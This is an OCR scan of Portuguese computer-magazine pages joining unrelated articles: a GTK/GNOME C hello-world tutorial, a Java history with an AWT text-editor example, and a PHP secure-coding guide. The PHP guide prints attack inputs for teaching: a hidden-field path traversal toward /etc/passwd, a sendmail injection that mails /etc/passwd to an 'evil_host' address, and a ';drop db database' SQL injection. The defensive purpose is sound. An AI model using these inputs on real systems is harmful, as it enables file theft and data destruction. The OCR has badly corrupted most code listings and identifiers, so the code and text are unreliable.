classe-base Gtkwidget.

Container

Como ja foi dito antes, um container € um widget que pode
conter fisicamente outros widgets, ou seja, ele serve para adi-
cionar widgets a outro widget — por exemplo: colocar um bo-
tdo em uma janela ou colocar um texto em um botao, e assim
por diante.

Sinais

Os sinais sao as respostas para as acdes dos Usuarios, como
por exemplo, quando se clica em um boto, ele envia um sinal
para uma funcdo, para que esta seja executada.

Resumindo

Em resumo, o GTK/GNCME ¢é apenas uma espécie de
“interface” para o programa; & como se fosse a roupa que o
programa vai vestir. O cédigo em si pode ser escrito em qual-
quer linguagem suportada pelo GTK.

Uma observacao importante é gue o programador que esti-
ver disposto a programar em GTK deve ter sempre & mio o

manual do GTK, que pode ser baixado no site do www. gtk. org.
Mesmo em inglés, é sempre um bom guia de consulta e, para
qualguer duvida, também & possivel dar uma olhada nos ar-
quivos de cabecalhos (agueles ponto.h que ficam no fusr/
iﬂdudE/ng).

Instalando o GTK

Geralmente, a maioria das distribuicées instala as bibliote-
cas GTK automaticamente, pois a maior parte dos programas
depende dela. No entanto, se vocé nao tiver certeza, basta
digitar no console:

Para distribuicbes baseadas no Red Hat ou que
usem o rpm:
~#: rom —q lgrep gtk

Se nada aparecer, é sinal de que o pacote ndo esta instala-
do. Entao vocé deverd instalar os pacotes gtk+-
1.2.versdo.rpm e gtk+-1.2.versio-devel.

Para debian:
~#: dpkg — lgrep gtk

Se nada aparecer, € sinal de que o gtk ndo estd instalado.
~# apt-get install gtk

Pronto, agora vocé esta apto a programar em GTK/GNOME.

Programacao em GTK/GNOME
Vamos passar para a programacao propriamente dita, usan-
do a linguagem C, gue é uma das mais utilizadas.

. Hello World

O nosso primeiro programa ¢ o hello world, programa que
todo o iniciante em programacao ja fez um dia.

1 - #include <gtk/gik fi>

2 - gint main (gint argc, gchar *argvf])

3-/

4 - GikWidget *window;

5 - GtkWidget *label

6 - GitkWidget *vbox;

gisas

8 — gtk_init (&argc, &argv);

g} =

10 - window = gtk_window new(GTK_WINDOW TOPLEVEL):




11 = vbox = gtk_vbox_new(TRUE, 10);
12 - label = gik_label_new("hello world "),
13 -

14 — gtk_box_pack_startiGTK_BOX(vbox), label, FALSE, FALSE, 0);

15 - -5
16 — gtk_container add(GTK CONTAINER(window), vbox),

17 — gtk window set title(GTK_WINDOW(window,), “Titulo”);

18 =

19 gz‘kj/vidgez: show_alliwindow),
20 -

21 — gtk_main();

22 -

23 - return O;

24 -} —

Agora vamos ver o que cada linha representa, voltando a
lembrar que o gue estamos vendo é apenas uma introducdo a
programacao. Se o leitor quiser se aprofundar, é necessario
freqientar listas de discussao, chats e ler um bom livro (pena
que a maioria seja em ingiés).

Na primeira linha, temos o arquivo de cabecalho, que prové
as funcoes do GTK (widgets, signals, etc.), e ele é necessario
para o programa funcionar.

Na terceira linha, temos a funcdo principal do programa,
gue ¢ onde a magica toda funciona, ou seja, é a funcao que o
programa chama quando inicia.

As linhas quatro, cinco e seis sao chamadas para 0s widgets,
window, vbox e label (janela principal

dos os widgets contidos em uma janela deverdc estar conti-
dos em um vbox (vertical), um hbox (horizontal) ou em um
table (vertical e horizontal juntos) e que esses widgets podem
conter cutros do mesmo tipo (um vbox pode conter outro
vbox, por exemplo).

A linha dezesseis adiciona o vbox ao widget window (que,
no caso, é o widget principal). Note gue nao é necessario adi-
cionar o label, pois o préprio ja foi adicionado no vbox. Por-
tanto, tudo o que foi adicionado no vbox serd automatica-
mente adicionado no window.

A linha dezessete seta o titulo do widget window (lembre-
se gue o titulo tem que estar entre aspas).

A linha dezenove é uma funcao que faz o programa mostrar
todos os widgets na tela do computador (ele mostra todo o
contetdo de window, gue é o widget entre parénteses. Como
o window contém o vbox gue contém o label, os mesmaos
também sao mostrados).

E, por ultimo, a linha 21 chama a fungdo gtk _main, que
deve estar contida em todos os programas GTK.

Feito isso, vamos salvar o arquivo corn o nome de hello.c (ou
qualguer outro nome que vocé desejar) e vamos compilar com
0 seguinte comando:

gcc ‘gtk-config —libs —cflags’ —o helfo hello.c

e execute o programa:
/hello

do programa, o espaco que contera o

label e 0 label que conterd algum texto).

A oitava linha conterd o nome e a ver-
sao do programa.

Nas linhas dez, onze e doze estao as
funcdes que determinam o tipo de
widget que cada uma das linhas quatro,
cinco e seis serao (para saber mais sobre
cada tipo de widget, consulte o manual
do GTK e os arguivos de cabecalhos).

Na linha quatorze vemaos a funcao que
inicializa o vbox, adicionando a ele o

A5

widget label. E importante saber que to-
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JAMA -

MERGULHANDO DE
CABECA NO

por Wagner Pequeno
wagnerpequenco@terra.com. br

m dezembro de 1990,
| o Projeto Green foi ini-
ciado pela Sun Mi-

crosystems para identificar e desen-
volver produtos para a nova
informatica. Os convocados para ini-
ciar este trabalho foram Patrick
Naughton, Mike Sheridan e James
Gosling. Um dos subprodutos, e certa-
mente o de maior sucesso, deste projeto
foi o Java.
O projeto desenvolveu um protétipo cha-
mado Star7, que era um handheld com a
seguinte configuracdo: LCD 5" color
touchscreen input, 5:6:5 color hardware double
buffered NTSC framebuffer, conexédo de rede sem
fio de 900 MHz, entrada para cartdao PCMCIA, dudio
multimidia codec e uma interface de suprimento/
bateria de energia poderosa.
Um ponto interessante do Star7 é que ele tinha




como sistema operacional uma versao de Unix que rodava com
menos de 1 MB. Esta versdo continha os drivers para os car-
toes PCMCIA, softwé‘re para radio, interacdo com o touchscreen
e arquivos de sistema para FLASH RAM.

A linguagem escolhida para o desenvolvimento de aplica-
cdes foi o Java. Inicialmente chamada de Oak — carvalho, em
inglés —, teve seu nome substituido devido a existéncia, na
época de seu registro, de uma linguagem com este nome.
Tornou-se=Java quando o grupo de desenvolvimento se reu-
niu, apos saber gue o nome nao caberia, para tomar um café,
café dailha de Java.

O projeto Green comecou a passar por dificuldades e foi
finalizado. Com a deciséo de finalizar o projeto, decidiu-se
que o Java seria disponibilizado gratuitamente para a comuni-
dade de informatica. Este passo fez com que a popularizacdo
do Java acontecesse de forma acelerada e contasse com diver-
sos colaboradores anénimos.

O Java foi apresentado a comunidade de informatica em
maio de 1995. Neste momento, a Internet despontava como o
principal produto de informatica, prometendo revolucoes e
necessitando se tornar mais interessante. O Java cobriu a lacu-
na da dinamicidade como uma luva e, deste momento em
diante, a ligacao Java-Internet nao se separou mais.

Arquitetura do Java

Conforme descricido do documento da Sun, o Java é uma
linguagem simples, orientada a objetos, distribuida, interpreta-
da, robusta, seqgura, de arquitetura neutra, portavel, de alta
performance, que permite varias linhas de execucao e dinamica.

O fato de a linguagem ser de arguitetura neutra fol outro
ponto de popularizacdo. A Internet, com a inclusdo de novos
recursas, passou a ser um ambiente hibrido, onde sistemas
operacionais coexistem para atender softwares de diferentes
empresas. Isso tornou o Java ainda mais poderoso, pois a apli-
cacdo desenvolvida é executada, sem recompilacdo, em gual-
quer sistema operacional gue possua a maquina virtual.

O JDK, Java Development Kit, & o pacote criado para que os
profissionais possam desenvolver aplicacdes com Java. Este kit
contém o compilador, um debugger, o pacote de classes-pa-
drao da linguagem, um visualizador de applets, um gerador

de documentacao, um compactador de classes, um

desassemblador, um conversor de cédigo para
internacionalizacao e um utilitario para compatibilizacdo com
a linguagem C. Este pacote ¢ gratuito e esta disponivel para

download no site da Sun.

O ambiente de desenvolvimento

O entendimento do ambiente Java tipico mostra bem como
a linguagem funciona.

Um programa Java passa por cinco fases para ser executado:
edicdo, compilacdo, carga, verificacao e interpretacao.

A edicao é a fase em que o desenvolvedor escreve os progra-
mas-fonte. A linguagem, por ser baseada em objetos, faz com
que diversos arquivos sejam criados, pois estes sao, na maioria
dos casos, a representacao das classes. Nesta fase, deve-se
perceber que o Java é case sensitive. Normalmente utilizam-se
IDEs para o desenvolvimento, mas o Java nao necessita de uma
ferramenta especifica para desenvolvimento. O Blaco de No-
tas, o VI, o Edit ou qualquer cutro editor-padrao do sistema
operacional resolve o problema.

A compilacao |é os fontes (.java) e gera os bytecodes (.class).
Estes bytecodes sdo os codigos preparados para executar na
maquina virtual Java (JVM). Estes arquivos sao gerados pelo
compilador e ficam disponiveis para serem carregados tanto
pela JIVM como pelo compilador, no caso de importacao por
algum outro codigo-fonte.

A JVM é a responsavel pela execucao da aplicacao no siste-
ma operacional. O ANSI C foi produto de se levar o cédigo-
fonte de um sistema operacional para outro, recompild-lo e
executa-lo. A idéia da VM & de que o cédigo seja compilado
somente uma vez, pois este nao vai ser executado diretamente
no kernel do sistema operacional, mas sim na JVM. Entao, as
aplicacoes Java estdo disponiveis para serem executadas em
qualquer sistema operacional que disponha da JVM.

Ao se invocar a maquina virtual para executar um programa
Java, ela realiza a carga dos bytecodes para a memaria e, no
instante seguinte, faz a verificacdo guanto a validade dos
byteccdes e se estes nao violam restricdes de seguranca. Final-
mente, depois de verificados os bytecodes, a maguina virtual
comeca a executar o programa.

157
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Tutorial

Para que se compreenda completamente este tutorial, € in-
teressante que o leitor tenha um pouco de conhecimento so-
bre orientacdo a objetos, que é a base de desenvolvimento da
linguagem Java, 2

Softwares necessarios

Para que se possa aé'ompanhar este tutorial sdo necessérios
alguns programas. Como item basico, o JDK; que pode ser en-
contrado no site iip:/java.sun.com. Recomenda-se também, em
caso de interesse em fazer outros estudos com o Java, o download
da documentacdo, no mesmo site, para que se facilite a consulta
a informacdes. O editor de programas fica a seu critério.

Configuracao

Faca a instalacao do JDK primeiro. A instalacdo consiste em
executar o arquivo baixado e seguir as mstrucoes. Caso esteja
utilizando Windows, o instalador nao inclui, no PATH do siste-
ma, o caminho para buscar as ferramentas do Java, portanto,
inclua o caminho <DIRETORIO DE INSTALACAO DO JAVA>\bin
e 0 Java estara pronto para uso.

Uma aplicacdo com componentes visuais

Este exemplo demonstra um editor de textos para que pos-
samos mostrar alguns componentes visuais. Neste exemplo
utilizaremos o AWT por sua estrutura mais simples e de facil
compreensao.

ducéo

Imagens: Repro:

Digite o codigo a seguir:

Inictamos a aplicacao com a seqiiéncia de comandos.
import java.awt. %;

import java.awt.event. %;

Import java.io. %;

que importa o pacote AWT, seu controlador de eventos e o

pacote de Entrada/Saida. Estes comandos sdo utilizados para
gue possamos utilizar as bibliotecas, ou pacotes como sdo
conhecidos no Java, da linguagem, de terceiros ou os desen-
volvidos por vocé.

Na linha

public class Exemplo extends Frame {

temos a inclusao do comando extends, que significa que esta
classe estende, ou no jargao de orientacao a objetos, especi-
aliza a classe Frame. A classe Frame é a janela Java para aplica-
cbes graficas do pacote AWT.

O trecho

private Button btnSalvar, btnSair;

private TextArea talexto,

cria os atributos do Frame Exemplo. Os atributos btnSafvar e
bitnSair sdo do tipo Bution, que é a classe que identifica um
botao de acao. O atributo faT7exto é do tipo TextArea, que é a
classe que identifica uma area de texto. Estes atributos tém o
modificador de private. Com este modificador, somente a clas-
se Exemplo pode modificar as caracteristicas destes objetos.

O método main simplesmente cria uma instancia de Exemplo.

O método

public Exemplo() {

super(“Exemplo - Um editor”);

A Inicializacdo dos objetos
binSalvar = new Button( “Salvar” )
binSair = new Button( “Sair”);
taTexto = new TextArea():

/' Adicionando tratamento de acdes para os botoes
binSalvar.aadActionListener( new Salvarl istener( this, talexto) )

binSair.addActionl istener( new Sairlistenert) );

#Cria um painel para colocar os botées
Panel p = new Panel( new Gridlayout( 1, 2 ) );

p.add( btnSalvar );
p.add( btnSair );

A Adicionando os botdes na janela
add( p, Borderlayout. SOUTH );

A Adiciona a drea de texto
add( taTexto, Borderlayout. CENTER );

pack();




b e

addWindowlistener( new Sarrlistener() )
show(),

& 0 método construtor da classe Exemplo. Este método serve para
inicializar os atributos de um objeto. A exetucao deste método
ocorre sempre que se instancia o objeto. Um método construtor
tem como caracteristica possuir o mesmo nome da classe.

0 Java possui um tratamento de eventos de acdo em que os
componentes visuais podem receber classes especificas para
realizar as acdes. Quando se cria um objeto do tipo Button,
por exemplo, ele aparece na tela; ao clica-loe com o mouse, ele
responde ao cligue, mas nao realiza nenhuma acdo. No exem-
plo que digitamos, ¢ botao Salvarrealizara as acdes definidas
pela classe Salvarlistener. O sufixo Listener, presente no nome
da classe, é devido a esta classe realizar as acdes para salvar o

e T

arguivo. Entao as linhas

/ Adicionando tratamento de acoes para os botoes
binSalvar. addActionlistener( new SalvarListener( this, taTexto

v

binSair.addActionlistener( new Sairlistenert) )

indicam quais classes vao responder aos eventos disparados
por estes botdes.

A classe

class Salvarlistener implements Actionlistener {

private TextArea taSalida,
private Frame frame;

public Salvarlistener( Frame f, TextArea ta ) [
tasaida = ta;
frame = [,

public void actionPerformed( Actionfvent e ) { ;
try
/ Abre uma janela para salvar o arquivo
FileDialog fd =
new FileDialog{
frame,
“Salvar como..”,
FileDialog. SAVE
)
fd.showr);

String nomeArquive = fd. getFile();

& Verifica se foi escolhido um nome de arquivo
H nomeArquive == null ) {
nomeArquivo = “Salda.txt”; #/ Se ndo, coloca um nome

/

A lnicia a gravacdo do arquivo

# Exemplo.fava

/w
* Demonstra o uso de componentes AWT e

* seu funcionamento com listeners
*f

| import java.awt. ™,
| import java.awt.event. *;
| import java.io. *;

public class ExemploZ extends Frame {

private Buiton binsalvar, binSair;
private TextArea talexto;

public static void main( String argslf ) {
| new ExemploZ(),

/

public Exemplo2()
uper(”Exemplo 2 - Um editor”);

# Inicializagdo dos objetos
btnSalvar = new Button( "Salvar” ),
btnSair = new Button( "Sair");
talexto = new TextAreal(),

| # Adlicionando tratamento de acoes para os botdes
| btnSalvar.addActionlistener) new Salvarlistener( this, talexto ) )
| btnSair.addActiontistener( new Sairlistener() )

Panel p = new Panel{ new Gridlayout( 1, 2 ) )

p.add( btnsalvar ),
p.addf btnsair );

# Adicionando os botdes na janels
add( p, Borderlayout. SOUTH ),

add( taTexto, Borderlayout. CENTER ),
pack();

addWindowlistener( new SairListener() );
show();

class Salvarlistener implements ActionListener {

private Textdrea taSaida;
private Frame frame;
| private String nomeArquive = null;

public Salvarlistener( Frame £, TextArea ta ) {
tasaida = ta,

1
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frame = f,

public void actionPerformed( Actionfvent e ) {
tri {

/ Testa se 0 arquivo /3 teni nome

i nomeArguivo == nufl ) {

# Se ndo tiver, cria uma caixa de didlogo para
# salvar o arquivo

FileDialog fd = %

new FileDialog(

frame,

“Salvar como..”,

| FileDialog. SAVE
[ -

fd show(l;

# Pega o nome do arquivo escolhido
nomeArquivo = fd. getFile(),

|« Decidiu cancelar
| if{ nomeArquivo == null } {

return; /# Sal sem gravar

A Abre um arquivo de safda com o nome selecionado

| PrintWriter out =

new FPrintWriter(
new FileWriter( nomeArguivo )

# Grava o conteldo da drea de texto e
out.print( tasaida.getlext() J,

# Fecha o arquivo de saida
out.closed),

Frame.setTitle( “Exemplo - * + nomedrguivo );

|} catch( IOException ioex ) {

# Caso ocorra um erro de 10
ioex.printStack Trace();

class Sairlistener extends WindowAdapter implements ActionListener {

public void windowClosing( WindowFvent e )
fechart),

7)

public void actionPerformead( Actionfvent e ) {
fechar(),
/

| private void fechar() {
| System.exit( 0 );

"

PrintWriter out =

new PrintWriter(

new FileWriter( nomeArquivo )
)!.

out.prini( tasaida.getlext() );
out.close();

Jcatch( I0Exception ioex ) {
foex.printStackTrace();

realiza a acao de gravar o contetdo de uma 4rea de texto e,
para isso, precisa do Framee da area de texto, que sao atribu-
tos da classe. Ela implementa a interface Actionlistener, que é
responsavel pela obrigatoriedade da presenca do método
actionPerformed. Este método serd chamado sempre que o
usuario interagir com o botao.

O construtor da Salvarlistener apenas recebe os objetos que
necessita e os coloca em seus atributos.

O método actionPerfomed, conforme descrito a sequir

public void actionPerformed( Actionfvente ) {
try{
// Testa se o arquivo jd tem nome
I nemeArguivo == null ) {
& Se ndo tiver, crig uma caixa de didlogo para
/' salvar o arquivo
FileDialog fd =
new FileDialog(
frame,
“Salvar como..”,
FiteDialog. SAVE
)
fd. showt);

#/ Pega 0 nome do arquivo escolhido
nomeArguivo = fd.getfile(),

# Decidiu cancelar
i nomeArquivo == nutl ) {
return, // Sai sem gravar

/

W Abre um arquivo de saida com o nome selecionado
PrintWriter out =
new PrintWriter(

, , =
new FifeWriter( nomeArquivo )




/ Grava o conteddo da drea de texto e
out.print( tasaida.getText() )

# Fecha o arquive de saida
out.close();

frame.setTitle( “Exemplo 2 - “ + nomeArquivo );
/ catch( I0Exception joex ) {

4 Casoocorra um erro de 10

foex. printStackTrace(),

realiza o trabalho de salvar o coﬂ%g{o da area de texto. O
método inicia verificando se j& existe um nome para gravar 0
arquivo. Em caso negativo, ele abre uma caixa de didlogo para
gue o usuario defina o nome do arquivo. Uma vez definido o
nome, 0 método inicia a gravacao, abrindo o arquive, colocan-
do o contetido da area de texto no arquive aberto e fechando
0 arquivo.

Um bloco de comando importante do Java é o &yf... fcatchl).
Este bloco de codigo permite que se proteja o codigo de erros.
No exemplo dado, se ocorrer algum erro de /0( /OException ),
a execucdo é automaticamente desviada para o bloco caich,
que permite ao desenvolvedor tratar o erro ocorrido. Neste
caso, somente ¢ mostrado onde ocorreu o erro.

A Ultima classe é descrita a sequir

class Sairlistener extends WindowAdapter implements
Actionlistener {

public void windowClosing( WindowéEvent e ) {

fechar();

public void actionPerformea( ActionFvent e ) {
fechar();

private void fechar() [
System.exit( 0 );
/

e mostra outra classe para realizar o trabalho de fechar a jane-

la. O Frame necessita de uma classe que realize o trabalho de
encerramento da aplicacdo. E convencao entre os sistemas
operacionais que uma aplicacao, ao ser encerrada normalmen-
te, deve retornar zero. Este codigo é informado pela chamada
de System.exit( 0 ). A classe Sairlistener implementa
WindowAdapter, que é Uma classe do pacote AWT Event, que
responde aos eventios da janela. Para fechar a janela,
sobrescrevemos o método windowClosing. Para aproveitar-
mos a classe, fizemos com que a mesma implementasse
Actionlistener, o que faz com que ela possa responder tam-
bém ao botdo Sair.

O Java no Brasil

0 Java vem ganhando mercado nas areas de negdcio onde a
Internet é produto importante. Bancos, companhias aéreas,
lojas e distribuidoras sao alguns exemplos de segmentos onde
0 Java é utilizado em larga escala para prover servicos diferen-
ciados aos clientes.

Uma drea em expansao para o Java é a area de logistica. Os
celulares que rodam Java estao para ser lancados no Pais, e o
uso deles com softwares de apoic tem sido avaliado com exce-
lente relacao custo-beneficio.

Infelizmente, nao existe uma pesquisa precisa sobre onde o
Java roda no Brasil. Nenhuma empresa de pesquisa, nem mes-
mo a Sun, divulgou alguma pesquisa informando quais as
organizacoes que utilizam o Java.

O seu futuro com Java

A Internet € a principal fonte de informacdes sobre o Java. O
site da Sun é a principal fonte, por razdes dbvias. Existem vari-
os links com informacdes sobre Java no Brasil.

Também ha bons livros sobre Java. Algumas publicacbes
importantes sao Java. Como programar, dos autores H.M. Deitel
e P.J. Deitel, editora Bookman, gue € um best-seller para o
aprendizado em Java. Um outro livro muito bom é /néroducao
a0 Java, de Peter Jandl Junior, editora Berkeley Brasil.

E importante também um
bom conhecimento de orien-
tacdo a objetos e UML. O Java
& uma boa ferramenta para
fixar os conceitos de orienta-
¢80 a objetos, mas uma boa
base sobre o assunto é fun-
damental. A UML é uma lin-

guagem que auxilia na cria-
cdo de diagramas para com-
preensao dos sistemas orien-

tados a objetos.

s: Reprodugao
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Conselhos para uma
programacao segura em PHP

FPHP

PHP conseguiu uma presenca sélida e

estavel na Web nos Ultimes anes. Seu

uso principal é no desenvolvimento de -

interfaces geradas dinamicamente en-

tre usuarios e o servidor. Como tal,

scripts PHP sdo uma presa natural de

0 : atagues. Apesar do fato de a lingua-

gem ser projetada com seguranca em mente, a familiaridade

com seus mais perigosos aspectes e a conformidade com

diretivas de programacéo segura sao essenciais para minimizar

a possibilidade de comprometer a seguranca. O objetivo deste

documento é oferecer uma visao geral de véarias questoes de

seguranca com PHP, bem como conselhos para praticas de
programacao segura nesta linguagem. '

O PHP (PHP Hypertexto Preprocessor) é uma linguagem de

script para servidor gue facilita a criacao de paginas Web dina-
micas, embutindo codigos PHP em documentos HTML. Ele com-
bina muitas das melhores caracteristicas de Perl, C e Java e
adiciona seus proprios elementos a mistura para dar aos pro-

_’W%;;_._Web grande flexibilidade e peder no desenho e

:i'mpiementagao de paginas dinamicas e orientadas a conteu-
do para Web. No entanto, como qualquer ferramenta podero-
sa, existem €ertos riscos e perigos associados ao uso do PHP.
Este artigo OBjetiva alertar o leitor a respeito de tais detalhes
sutis desta linguagem. Estande consciente dos riscos e obser-
vando algumas regras simples de programacdo segura, é possi-
vel diminuir Sig lvamente o risco de compremeter a seguranca.
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Nas secdes seqguintes, identificaremos algumas causas gue
comumente levam a violacoes de seguranca de scripts PHP e 0s
sistemas que estes scripts estao executando. Nos iremos, en-
tao, desenvolver afgumés diretivas para fortalecer a seguranca
do PHP e para escrever codigos seguros. Desenvolvedores Web
e administradores de sistema devem manter em mente, po-
rém, que estas diretivas apenas identificam algumas praticas
que podem reduzir o risco de comprometimento da seguran-
ca. Nao existe uma solucao definitiva que possa resolver todos
0s problemas<de seguranca e, na verdade, o proprio conceito
de um sistema que é completamente seguro é irreal. Em vez
disso, a seguranca deve ser vista como um processo evolutivo,
requerendo constante supervisao. Este artigo dé& uma base
para entender as questdes de seguranca relacionadas ao PHP
e dd uma visdo geral do tépico.

Entradas de usuario confiaveis

As mais comuns e mais sérias vulnerabilidades em scripts
PHP, e sem duvida em qualquer aplicacao Web, ocorrem devi-
do a uma validacao de entrada de usudrio precaria. Muitos
scripts usam informacoes que o usuario forneceu num formu-
lario Web e processam estas informacées de vérias maneiras.
Se hé confianca nesta entrada, existe o potencial de forcar um
comportamento nao désejado no script e no host.

Para tornar as coisas piores, o PHP registra todo tipo de vari-
aveis externas no namespace global. Varidveis de ambiente, por
exemplo, sdo simplesmente acessadas por seus nomes de qual-
quer lugar dentro do script. Entdo vocé pode apenas espiar em
$HOSTNAME e $PATH para obter estas informacdes. Nomes de
campos enviados de forms GET ou POST sdo também acessiveis
da mesma maneira. Existem muitos problemas com isso.

Primeiro, ndo existe um modo de assegurar gue varidveis
externas contenham dados que possam realmente ser
confidveis (a préxima secdo discute isso com mais detalhes).

Segundo, devido ao hébito do PHP de deixar tudo disponivel

globalmente, nenhuma variavel pode ser considerada confiavel, «

seja interna seja externa. De fato, imagine o seguinte cenério:

Stempfile = "12345.tmp ",

# faco alguma coisa com $tempfile aqui
# e algum processamento de formulario ...
unlink ($tempfile);

Mesmo se vocé manteve $tempfile em seguranca antes de
liberar o link, a altima instrucdo ainda é muito perigosa. Um
atacante pode manipular o seu préprio form contendo um
campo similar a isto:

<input type=hidden name="tempfile” value="../ /. /otc/
passwd”>

Q PHP ira inserir o campo nome no namespace global como
$tempfile, sobrescrevendo, deste modo, o valor original da
variavel. Depois, nos iremos considerar um modo de protecdo
contra este tipo de ataque configurando o PHP para nao tor-
nar variaveis externas globalmente acessiveis.

Variaveis em ambiente confidvel

"

Quando vocé digita “Is” no prompt do Unix, o shell vai
através de uma lista de diretdrios procurando por um progra-
ma chamado 'ls’. Tao logo ele encontra isso em algum lugar,
como no /bin, por exemplo, o shell executa o programa e espe-
ra pacientemente pelo seu retorno. A lista de diretérios onde
o shell procurara o programa é especificada em uma varigvel
ambiente, usualmente $PATH. Similarmente, quando vocé usa
0 include() ou require() para um arquivo de um script PHP, o
sistema ira procurar por ele numa lista especifica de diretérios;
a variavel ambiente $LD_LIBRARY_PATH especifica o caminho
para bibliotecas dinamicamente carregadas, etc.

O script ndo tem controle sobre o conteudo de varidveis de
ambiente no momento que inicia a execucdo. Um adversario
pode modificar o caminho para apontar para uma verséo tipo
trojan do programa gue estd sendo chamado ou o arquivo que
esta sendo incluido. Este é um modo facil para hackers terem
codigos hostis rodando no sistema.

Alguns sites restringem o acesso ao conteldo baseado no
link de onde o usuério vem. Eles usam a variavel $HTTP_REFERER
para determinar isso. Mas ja que esta informacao chega do
browser, ndo ha nada que impeca o usuario de associar um
valor arbitrario. Tais formas de autenticacdo nao sao nada
confidveis.

Mesmo que a informacao nao venha do usuério, variaveis
de sistema nao sao confidveis. Na maioria dos sistemas Unix,
as variaveis de ambiente sao armazenadas no final da pilha de
sistema. Agora, o PHP faz seu proprio gerenciamento dinami-
co de memaria, entdo nédo existe um risco real de buffer overflow
em scripts PHP. Mas um hacker pode ainda explorar algumas
partes do software que estdo rodando no servidor para ga-
nhar acesso a pilha de execucdo. Por causa do modo que a
pilha é estruturada, ele pode agora sobrescrever o valor de
varigveis de ambiente. Conseqlentemente, o script PHP gque
confia cegamente nestas varidveis nao estd nada seguro.

De uma perspectiva segura, variaveis de ambiente e dados
de entradas de usuarios ndo sao realmente muito diferentes.
Eles representam dados de origem desconhecida, que podem
ser hostis. Deste modo, seu uso deve ser minimizado sempre




que possivel, e seu conteudo examinado e filtrado o resto das
vezes. Uma boa pratica é redefinir todas as varidveis de ambi-
ente que serac usadas no script antes de realmente usé-las.
Isso nao é sempre gﬂossivel, mas é uma ajuda a oferecer um
grau de confianca um pouco mais alto no seu conteddo.

Chamando programas externos

A ilustracdo mais direta de dano infligide por entradas de
usuario invalidas é provavelmente a execucdo de programas
com nomes de usuario ou argumentos especificados.

Evidentemente, uma chamada como system($dados_usuaria)
€ insegura porque permite ao usuario executar comandos ar-
bitrarios no host. Mais ainda, uma chamada do tipo
exec("algumprog”, $args_usuario) também é insegura por-
gue o usuario pode fornecer caracteres que tém significado
especial para o shell. Um pontoﬁr@u\a nos argumentos,
por exemplo, significard o fim do primeiro comando e o come-
co do segundo. J& que o PHP sempre passa tais strings para o
shell, isso é sempre perigoso. Aqui incluimos chamadas
system(), exec(), popen(), backticks, etc.

Abaixo, um exemplo real de uma chamada popen() inse-
gura, partindo de uma aplicacdo Web atualmente distribu-
ida livremente:

function

Send(§sendmail = “Yust/sbin/sendmarl”)

{

if (§this->form == "“) {

$fo = popen ($sendmail. “~i”. $this->to, “w);
/

else {

$fo = popen ($sendmarl. -/ -F".

Sthis->from. * “. $this->to, “w"),

]

4

/

A varidvel $this->from vem diretamente de um campo do
formulario, onde quem quer que seja que esteja enviando a
mensagem digita ali seu endereco de e-mail. Uma vez que esta
entrada ndo é validada em nenhum lugar, o usudrio pode
enganar o script introduzindo todo tipo de coisas ruins
com entradas similares a esta:

dummy@dummy.com badguy@evil_host.com </etcP>

Se eles forem mais criativos, podem provavelmente
até fazer um worm completo ou um virus e injetar nesta
entrada.

A solucao é filtrar cuidadosamente toda entrada de

usudrio antes de passé-la para o shell. Mais tarde, nos consi-
deraremos alguns modos de fazer isso em PHP.

Interacdes com Bases de Dados

O PHP faz interacdes facilmente com vérios bancos de dados
diferentes a partir de scripts. Apenas interagindo com outros pro-
gramas através do shell, entretanto, isto pode ser um problema de
seguranca. Muitas vezes, scripts PHP usam entradas de um formu-
lario Web para construir strings para requisicoes (query) SQL.

mysql_db_query
($DB, "SELECT something FROM table
name=3%username”);

WHERE

Neste exemplo, o usuario pode usar um ponto-e-virgula na
entrada para finalizar a requisicao atual e fornecer comandos
arbitrarios para a base de dados. A entrada “;drop db
database” expandira a requisicao “SELECT algumacoisa FROM
tabela WHERE name=; drop db database”, o que resultard em
um erro (porque a primeira parte da requisicao é agora invali-
da), seguido de um drop bem sucedido da base inteira.

Os privilégios do script podem ser ajustados para limitar o
dano que ele pode causar na base, mas isto ndo remedia com-
pletamente o problema, uma vez gue o usuario pode ainda
fazer requisicdes para extrair informacdes sensiveis. Se a entra-
da do usuario precisa ser fornecida para a base de dadaos, ela
deve ser primeiro examinada e filtrada para evitar metacaracteres
perigosos, como maostraremos depois.

Vuinerabilidades no interpretador

O interpretador PHP tem tido vulnerabilidades de seguranca
nos diferentes estagios do seu desenvolvimento.

No PHP3 e em algumas versdes do PHP4 tém sido encontra-

das vulnerabilidades para formatar strings de atague nas fun-
cOes de log, por exemplo. Estas versées de PHP empregam

chamadas para as fungdes syslog() e vsnprintf() do C para fazer
o seu log (quando esta habilitado). O problema é que o PHP
passa a mensagem de log diretamente no formato de string
para estas fungoes, e é possivel que a mensagem de log conte-

nha uma entrada de usuéario. Um invasor pode usar isto para




comprometer remotamente o PHP - habilitando servidores que
ainda executem este codigo, a menos que estes servidores
tenham desabilitado o log de erros e avisos do PHP.

O modo como o PHP trata de arquivos carregados pelo usu-
ario pode também ser problematico. A razao ¢ que o PHP defi-
nira uma variavel global que tem o mesmo nome que o arqui-
vo submetido no formulario Web. O PHP criara este arquivo
em um diretorio temporario e armazenara o upload ali, mas
ele nao checard se o nome do arquivo é valido. Um invasor
pode fazer seu préprio formulario, especificando o nome de
algum outro arquivo e submeté-lo. O PHP ird, entdo, executar
0 outro arquivo, que pode conter informacdes sensiveis. Deste
modo, o script deve sempre checar explicitamente se a variavel
que contém o nome do arquive carregado possui um caminho
valido para um arquivo temporario. Versées mais novas do
PHP (posteriores a 4.0.3RC1 e postgﬁaé; a 3.0.17RC1, para
PHP3) oferecem a funcao is_uploaded_file($path), que torna
facil esta checagem.

Hosts rodando PHP devem sequir adverténcias de seguran-
ca relacionadas com o produto e atualizar para a ultima versao
recomendada do PHP imediatamente depois de as correcoes
de seguranca serem liberadas.

Usando PHP de
O PHP pode ser configurado de forma que execute scripts

ydo seguro

em um ambiente restrito para diminuir o dano que pode ser
infligido por programas inseguros. Este modus operandipode
ser chamado de ‘safe mode’. A diretiva de configuracio
safe_mode no php.ini ativa e desativa o safe mode. A diretiva
safe_mode_exec_dir especifica um diretéric onde os scripts
podem ser carregados. O PHP ndo executard um script se ele
nao estiver neste diretdrio. Alem disso, ¢ PHP nao deixard um
script chamar outro programa que nao esteja neste diretario.
Deste modo, mesmo se existir um buraco na ssguranca do
script, que permita aos invasores executarem arbitrariamente
comandos neste script, eles estardc limitados agueles gue es-
tiverem no diretério de executaveis do safe mode.

Para prevenir ocupacao de variaveis de ambiente, o safe mode

faz uso de outra configuracao no php.ini, que restringe a ha-

bilidade do
safe_mode_allowed_env_vars contém uma lista de prefixos que
identificam os nomes de varidveis de ambiente que o usudrio

usuario para modifica-las. O campo

tem permissao de modificar. Deste modo, quaisquer variaveis
